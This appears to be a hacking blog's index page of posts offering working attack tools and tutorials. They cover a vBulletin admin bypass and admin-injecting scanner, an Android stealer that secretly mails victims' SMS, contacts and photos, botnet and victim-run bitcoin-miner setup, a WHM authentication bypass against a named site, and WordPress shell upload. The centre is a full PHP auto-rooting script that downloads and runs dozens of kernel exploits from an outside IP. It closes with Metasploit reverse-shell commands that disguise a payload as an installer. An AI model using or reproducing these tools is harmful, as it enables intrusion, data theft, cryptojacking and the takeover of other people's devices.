|| VB 5.XX ADMIN BYPASS 0DAY ||

Hello friend today i am sharing a video which i had made months back but could share it due to lack of time to make tut.
As tomorrow is NEW years first day so taught to give all my readers a gift. So here it is
Few days back i posted a tut on vBulletin 5 Beta XX SQLi 0day
http://www.hackerzadda.com/2013/09/vbulletin-5-beta-xx-sqli-0day.html
Many of them got the admin username and password too with that
But sadly many were unable to decrypt the pass. So here is the tut to by pass that admin login of vB 5.xx
http://snsw.us/tDpmk
Password:-hackerzadda.com

|| HAPPY NEW YEAR TO ALL MY READERS ||

Read More...

|| VBulletin upgrade.php Scanner and Admin Injector ||

You must have heard about the VB upgrade bug, which has been in wild for the past few days. Some opportunists defaced some popular forums using this same bug. Many sites have been patched but still there's plenty of fish in the sea, if you use the right dorks.

Well, I have coded a hunter (PHP tool/script) for that bug. This scripts takes a Google dork from the user and searches for vulnerable VBulletin forums on google and gives you an option to inject an administrator account there.

Main features:
x. Search Google results up to 50 pages.
x. Check each directory (for forums using weird URLs using VBSEO, etc)
x. Targets nulled VB scripts (irrelevant to this bug)
x. Show Alexa rank of vulnerable websites.
x. Single-click administrator account injector.
x. Save vulnerable sites along with alexa rank as 0wn3dLogs.txt
And more...

Here is the screenshot of this PHP tool in action:

I recommend it to use on localhost (Xampp, etc) using proxy. After 10 - 20 scans, Google will backlist your I.P. So you can just change the proxy.
https://www.dropbox.com/s/xg1vyerzcptjcrz/g00n.php
https://www.dropbox.com/s/tpgzf7meedhl2yr/addAdmin.php

Download both files
source:-xploiter.net

Read More...

vBulletin 4.x.x and 5.x.x Upgrade 0day Exploit Video Tut

Hello friends today ill show you to to exploit vBulletin 4.x.x and 5.x.x Upgrade 0day Exploit vulnerability to shell vBulletin

Script
Download

Read More...

|| RazStealer Android Stealer ||

The First (or not) Android Stealer ever created!
Raziel94 presents
RazStealer 0.25 Beta
Features:
-STEALTHY AS SHIT-

NO Launcher icon (not on sight, not on mind) so the victim will never suspect anything, the only place where its listed is in the application list (where pretty much ALL apps are listed)
Launched when YOU trigger it via sms. You send a sms to the victim and if the sms starts with the secret code (which you defined) it will start doing its shit (in background ofc)
-STEALS SHIT-

Currently steals the following (still adding stuff, and always open for suggestions, actually me wantz suggestions):
-SMS (incoming and outcoming)
-Contacts
-Pictures (scans through the SD Card recursively and if their size doesnt exceed the upload limit (20MB or less, you decide) they will be included in the package)
-Victims personal info (currently only Phone model, Phone number, Operator)
-ZIPS SHIT-

After stealing shit, it zips everything into 1 sexy zip file and uploads it (if there's no internet, it sits and waits) and sends it to your own freaking email!
-Deletes shit-

After everythings done, it deletes all temp files created
-No Root-

I plan to add this later, but currently as none of the features require root access, it wont ask for them and will work flawless on a not rooted android phone
APK Minimum Requirements:

Android phone with these specs:
-600Mhz ARMv6 CPU
-128MB RAM
-GingerBread 2.3.3 or newer phone ROM
-100MB free SD CARD SPACE (if it has less than the pics will be excluded, and then it requires < 1MB)
-shit to steal

* Though it will probably run on any android running gingerbread 2.3.3 and up, having lower specs than these will cause heavy slowdowns while operating.
What you need:

-A working gmail from which the app will use to send the data to you (it has to be gmail since i didnt want to lose much time implementing multiple smtp servers)
because the app can be reverse engineered, i dont recommend putting your private mail, but instead make a fun gmail for this occassion.
-Android Developer Tools (since I couldnt find a way to make a portable compiler, you will have to compile the project)
-Java JRE (for ADT)

-Setting up-
1. Download the application
2. Run the application
3. Configure it to your needs
4. Read the credits
6. Generate the project
7. Import and compile it using ADT
8. Send the apk to the victim
9. Send the SMS with the trigger code
10. Wait for a mail with the package.zip file attached.
11. read step 5 again
What can this shit be used for (just some ideas I had while creating the app)?:

-Hack facebook via the SMS password reset
-Sign up to sites via the SMS confirmation
-Collect e-whoring material pictures from the girl next door with big titties
-Complete surveys wich require SMS confirmation using someone else's phone number
-Downloads-
---Link Updated---
https://www.dropbox.com/s/bfeagy0vz6imlux/RazStealer%202%20Cracked.rar

Whats new:
-You can now enable the feature to auto start the stealer when the phone boots
-You can now enable the feature to delete the zip file after uploading
-SMS thread fixed and optimized
-SMS stealer now includes date and fixed ID

Read More...

|| How to setup a Botnet Video tutorial | Andromeda Botnet v2.0 | Free download ||

What is botnet?

A botnet is a collection of infected computers which are known as Zombies.
computer admin is unware of it.  with a Huge collection of bots(zombies)
the botnet becomes more powerful.
it can be used for stealing data , sniff forms,keyloggers,bitcoin mining ,ddos attacks etc!
two types of botnets are there "http" and "IRC" botnets here i am showing you http botnet.

Tutorial : How to setup Andromeda botnet on a webhosting!!

Hello,
I will be showing you guys how to setup Andromeda botnet correctly.

Download Andromeda botnet v2.0

In RC4 Key type this:

Code:

d40e75961383124949436f37f45a8cb6

Read More...

|| CONFIG FINDER PRIVATE ||

Download from here
Download

Read More...

|| ROOT A SERVER WITHOUT ANY EXPLOIT VIA WHMCS BY SEN HAXOR ||

ROOT A SERVER WITHOUT ANY EXPLOIT VIA WHMCS BY TUT BY SEN HAXOR

Download the video from below link
http://zyan.me/rbyzB  

Read More...

|Amnesia Haze bitcoin miner | Make money with your bots|

#1 Rat Support
Amnesia Haze

The current functions are:
- Startup (Automatically)
- Your decision on how much CPU it's mining from
- GPU Mining
- And last but not least, high hashrates.

Picture:

Setp tutorial+Hashrate from 50 bots.
Spoiler (Click to Hide)
A bitcoin miner is taking CPU and if you want it to, also GPU from your victims processor and converts them into an amount of mhash/s. This will happen in a bitcoin pool. After you have generated enough mhash, you will be able to pay it out in bitcoins or paypal. This is how people actually make money with their bots!

For new users it looks like I'm talking Chinese. That's why I'm going to learn you, step for step, how to do this. This will only take like 5 minutes.
1. Download the bitcoin wallet and install it. I recommend you to download it over google. If you really can't find anything, shoot me a PM or post here.
2. Copy your bitcoin wallet adress.
3. Fill in as pool: http://mining.eligius.st:8337
4. You can use any other bitcoin mining pool, but I highly recommend you to use eligius since they don't do shit about BTC botnets.
5. Fill in your workers username: Your bitcoin walled adress
6. And the workers password: x
7. I recommend you to select 80% CPU Usage.
8. You can either enable or disable the GPU mining future. Enabling it gives you a higher hash rate, but it will be recognized faster.
9. Click "Build"
10. In the same folder your builder is, the miner would be created. It is called miner.exe
11. Go to any direct uploading website and upload your miner.exe
12. Run your direct link on your bots
13. Generate a decent hash rate
I've tested this miner on 50 bots, and got this hashrate in another BTC mining pool as eligius:

So basically you will be making $30 a month with just 50 bots online. You can either spread yourself, purchase a spreading ebook, or purchase bots on the marketplace.
This is not a joke! Bitcoin mining IS very good money making. Please note the $30 is only from 50 bots. With a few hundred bots, wich only costs $3/100 bots on the marketplace, you will be making loads.
14. After you mined one bitcoin, it appears in your bitcoin wallet adress. No need to request it on eligius!

Download
http://zyan.me/XSFgC  

Read More...

|| BYPASS WHM AUTHENTICATION OF RESELLER ||

Hie :)

Today We are Going to Bypass WHM Authentication of Reseller Accounts !

For This We Need Shell On The Reseller Account !! i.e Shell On Reseller's Domain !

Note 1:
For Identification of Reseller Account ! We have 2 Page in "Public_html" Dir With Name "moving.page" And "suspended.page"

Note 2:
its Not Necessary Reseller Account is Hosting Domain .. It can Be Normal Site Also .. In my case Its Normal Domain
i.e   http://i-nom.eu which is using Open-cart CMS !!

i will teach u how to shell Open-Cart CMS in Next Tut's :)

So now
We have 1 shell on reseller Account

http://i-nom.eu/404.php

And Now Our Current Path Is "/home/inom/public_html/"

 Now Just Go Back 1 Directory !! So Now We are Here "/home/inom/"

Now Here Make 1 File With Name ".accesshash" Which Contain U r Password "123456" . U can Change iT With Yours :)

 Now Its Looks Like "/home/reseller/.accesshash"

Now Download 1 Mozilla Addon Called "Modify Headers"

https://addons.mozilla.org/en-us/firefox/addon/modify-headers/

Now Start Modify Header And Add 1 Hedder With Following Value :
Name : "Authorization"    Value : "WHM inom:123456"

Here "WHM" For "WHM Panel" And "inom"  In my case Its Inom is My "UserName" And "123456" is Our "Accesshash"

Now cLick oN Add Tab for Adding It ! :)

And cLick on Start Button In Modify Hedder For Starting It !

Now Just Go To the That Reseller's Domain with This Port :2086

i.e "www.reseller.com:2086"  In My Case Its http://i-nom.eu:2086

And U Will We In Without Any Authentication :D

For Video Lover's ! Here The Demo Of IT :)

Direct Download Link of The Video !

 Direct Downloading Link 1 : http://adf.ly/MDoSh 

Direct Downloading Link 2 : http://zyan.me/bMHXn


There is 1 more Method That i vl tell u in Further Tut's :)

Msg 2 My All LeeT Frnds :- Share u r knowledge Bro // Private Rakhne se Double Nahi Hoga :P

Hope U like It :)

For Any Query Or Advise Cmnt it :)

Read More...

|| DNS HIJACKING ||

Here is a beautiful Tut From my dear friend H4x4rwOw on DNS HIJACKING

Recommended to download and watch
Download Here
Note:- Only for Educational purpose

Read More...

|| DNS SPOOFING ||

Here is a beautiful Tut From my dear friend H4x4rwOw on DNS SPOOFING

Recommended to download and watch
Download Here
Note:- Only for Educational purpose

Read More...

|| SHELL UPLOAD+BACK CONNECT+ROOTING+MASSDEFACE ||

HERE WE GO FINALLY MY MASTER TUT ON SHELL UPLOAD+BACK CONNECT+ROOTING+ MASS DEFACE ALL IN ONE VIDEO.. :)

THIS TUT IS DEDICATED TO ALL MY FRIENDS WHO HAVE HELPED ME TO REACH WHAT I AM TODAY IN THIS FIELD AND TO ALL WHO KEEP FOLLOWING AND VISITING MY WEBSITE...
FROM A LONG TIME WANTED TO MAKE THIS KINDA TUT FOR MY BEGINNER FRIENDS WHO STRUGGLE IN ALL THIS..
HOPE THIS WILL HELP YOU IN LEARNING

RECOMMENDED TO DOWNLOAD AND WATCH
Download
NOTE:- ONLY FOR EDUCATIONAL PURPOSE

Read More...

|| WORDPRESS SHELL UPLOAD BYPASS ||

METHOD GIVEN BY MY DEAR FRIEND MAURITANIA ATTACKER TO BYPASS SHELL UPLOAD IN WORDPRESS

LET'S START

1. LOGIN IN TO YOU WORDPRESS
2. GO TO PLUGINS
3. CLICK ON UPLOAD NEW PLUGIN
4. UPLOAD THIS ZIP
5. TO FIND YOUR SHELL GO TO
   Site.com/wp-content/plugins/stats/instoll.php
6. YOU SHOULD HAVE YOUR SHELL THEIR

ALSO REFER TO THE OLD METHOD I POSTED TO UPLOAD SHELL IN WORDPRESS
HERE

Read More...

|| 2013 Auto R00t3r ||

Auto root 2013 Developped by Mauritania Attacker
www.mauritania-sec.com
https://www.facebook.com/mauritanie.forever
Usage:-
chmod 777 the script for example r00t.php
and then launch  ./r00t.php

#!/usr/bin/php 
<?php 
/* 
# Auto root 2013 Developped by Mauritania Attacker
# www.mauritania-sec.com
# https://www.facebook.com/mauritanie.forever
# <3 AnonGhost <3 
*/ 
set_time_limit(0); 
system("clear"); 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n"; 
print "|PHP Auto Root by Mauritania Attacker               |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n"; 
print "|Contact: fb.com/mauritanie.forever                 |\n"; 
print "|Priv8 Version                                      |\n"; 
print "|Rooting: Linux and FreeBSD                         |\n"; 
print "|<3 AnonGhost <3                                    |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n"; 
sleep(4); 
print "\nKernel to verify:\n"; 
print "lnx or bsd: "; 
$kernel = fgets(STDIN); 
$kernel = trim($kernel); 
if($kernel == "lnx") 
{ 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n"; 
print "|PHP Auto Root by Mauritania Attacker             |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n"; 
print "|Selected kernel : |Linux arq|                    |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=----------|\n"; 
sleep(2); 
print "\n[+] Testing lnx xpl's please wait.\n"; 
print "[~] Meanwhile smoke a cigaret XD (:\n"; 
sleep(2); 
system("mkdir lnx;cd lnx/"); 

system("wget http://184.22.219.50/xpl/2.6.3all"); 
system("chmod 777 2.6.3all"); 
system("./2.6.3all"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.17"); 
system("chmod 777 2.6.17"); 
system("./2.6.17"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.18"); 
system("chmod 777 2.6.18"); 
system("./2.6.18"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.18-6"); 
system("chmod 777 2.6.18-6"); 
system("./2.6.18-6"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.18-20"); 
system("chmod 777 2.6.18-20"); 
system("./2.6.18-20"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.32"); 
system("chmod 777 2.6.32"); 
system("./2.6.32"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.32_i686"); 
system("chmod 777 2.6.32_i686"); 
system("./2.6.32_i686"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.32nine"); 
system("chmod 777 2.6.32nine"); 
system("./2.6.32nine"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.33"); 
system("chmod 777 2.6.33"); 
system("./2.6.33"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.34"); 
system("chmod 777 2.6.34"); 
system("./2.6.34"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.34-2011"); 
system("chmod 777 2.6.34-2011"); 
system("./2.6.34-2011"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.37"); 
system("chmod 777 2.6.37"); 
system("./2.6.37"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.37rc2"); 
system("chmod 777 2.6.37rc2"); 
system("./2.6.37rc2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.37-rc2"); 
system("chmod 777 2.6.37-rc2"); 
system("./2.6.37-rc2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.39-2011"); 
system("chmod 777 2.6.39-2011"); 
system("./2.6.39-2011"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.39-2011-2012"); 
system("chmod 777 2.6.39-2011-2012"); 
system("./2.6.39-2011-2012"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2.6.x"); 
system("chmod 777 2.6.x"); 
system("./2.6.x"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/15"); 
system("chmod 777 15"); 
system("./15"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/2010-1"); 
system("chmod 777 2010-1"); 
system("./2010-1"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/ab"); 
system("chmod 777 ab"); 
system("./ab"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/c"); 
system("chmod 777 c"); 
system("./c"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/el5i386"); 
system("chmod 777 el5i386"); 
system("./el5i386"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/el5x86"); 
system("chmod 777 el5x86"); 
system("./el5x86"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/elflbl"); 
system("chmod 777 elflbl"); 
system("./elflbl"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exp1"); 
system("chmod 777 exp1"); 
system("./exp1"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exp2"); 
system("chmod 777 exp2"); 
system("./exp2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exp3"); 
system("chmod 777 exp3"); 
system("./exp3"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exploit"); 
system("chmod 777 exploit"); 
system("./exploit"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/exploit2"); 
system("chmod 777 exploit2"); 
system("./exploit2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/froot"); 
system("chmod 777 froot"); 
system("./froot"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/glibc"); 
system("chmod 777 glibc"); 
system("./glibc"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/iskorpitx"); 
system("chmod 777 iskorpitx"); 
system("./iskorpitx"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/jessica2"); 
system("chmod 777 jessica2"); 
system("./jessica2"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/pkexec"); 
system("chmod 777 pkexec"); 
system("./pkexec"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/rds-exploit"); 
system("chmod 777 rds-exploit"); 
system("./rds-exploit"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/vmsplice"); 
system("chmod 777 vmsplice"); 
system("./vmsplice"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/xplSUPER"); 
system("chmod 777 xplSUPER"); 
system("./xplSUPER"); 
sleep(1); 
print("[+] all lnx xpl's testeds! exiting!\n"); 
system("id"); 
exit(0); 
} 
elseif($kernel == "bsd") 
{ 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=--------|\n"; 
print "|PHP Auto Root by Mauritania Attacker           |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=--------|\n"; 
print "|Selected kernel : |BSD-arq|                    |\n"; 
print "|--=--=--=--=--=--=--=--=--=--=--=--=--=--------|\n"; 
sleep(2); 
print "\n[+] Testing bsd xpl's please wait.\n"; 
print "[~] Meanwhile smoke a cigaret XD (:\n"; 
sleep(2); 
system("mkdir BSD;cd bsd/"); 

system("wget http://184.22.219.50/xpl/FreeBSD/6.1-09.c"); 
system("gcc -o 6.1-09 6.1-09.c -lpthread"); 
system("chmod 777 6.1-09"); 
system("./6.1-09"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/6.4"); 
system("chmod 777 6.4"); 
system("./6.4"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/7.1-08.c"); 
system("gcc -o 7.1-08 7.1-08.c "); 
system("chmod 777 7.1-08"); 
system("./7.1-08"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/2010"); 
system("chmod 777 2010"); 
system("./2010"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/a.out"); 
system("chmod 777 a.out"); 
system("./a.out"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/cebkmount"); 
system("chmod 777 cebkmount"); 
system("./cebkmount"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/cve-2010-2693"); 
system("chmod 777 cve-2010-2693"); 
system("./cve-2010-2693"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/6.1-09.c"); 
system("gcc -o 6.1-09 6.1-09.c -lpthread"); 
system("chmod 777 6.1-09"); 
system("./6.1-09"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/free7.sh"); 
system("chmod 777 free7.sh"); 
system("./free7.sh"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/l"); 
system("chmod 777 l"); 
system("./l"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/master"); 
system("chmod 777 master"); 
system("./master"); 
sleep(1); 
system("wget http://184.22.219.50/xpl/FreeBSD/w00t.so.1.0"); 
system("chmod 777 w00t.so.1.0"); 
system("./w00t.so.1.0"); 
exit(0); 
} 

//EOF_ 
//2013 
//Priv8 Version  

?>

Read More...

|| HACKING WINDOWS IN MINUTE'S VIA BACKTRACK ||

     RESEARCH PAPER ON HACKING WIN-7 THROUGH BACKTRACK (METASPLOIT)

  

So let's just begin with our hacking

1. Open the terminal of the Backtrack

2. Write the following command "msfpayload windows/meterpreter/reverse_tcp lhost=backtrack IP address lport=4444  x  >  /root/Desktop/IDM.exe"

 AND WAIT FOR A MINUTE...

 After the Successful completion of your IDM.exe 

 3. Again Open another terminal and write 'msfconsole' 

4. Then write the command -- "use exploit/multi/handler" and press enter"

5. Then you have to set a payload by writing the command -- "set payload windows/vncinject/reverse_tcp"

6. Then Set the LHOST (LOCAL HOST) -- "set lhost 192.168.40.128 (Backtrack IP address)

7. Then Just set for the exploit -- "exploit"

Now as soon as The VICTIM download your IDM file from the INTERNET 

 and tried to install 

 you will get the full Access of his/her WIN-7

THE ARTICLE HAS BEEN SUBMITTED BY Deepanshu Khanna CREATOR OF THE WEBSITE http://hackcrack4u.blogspot.in

Read More...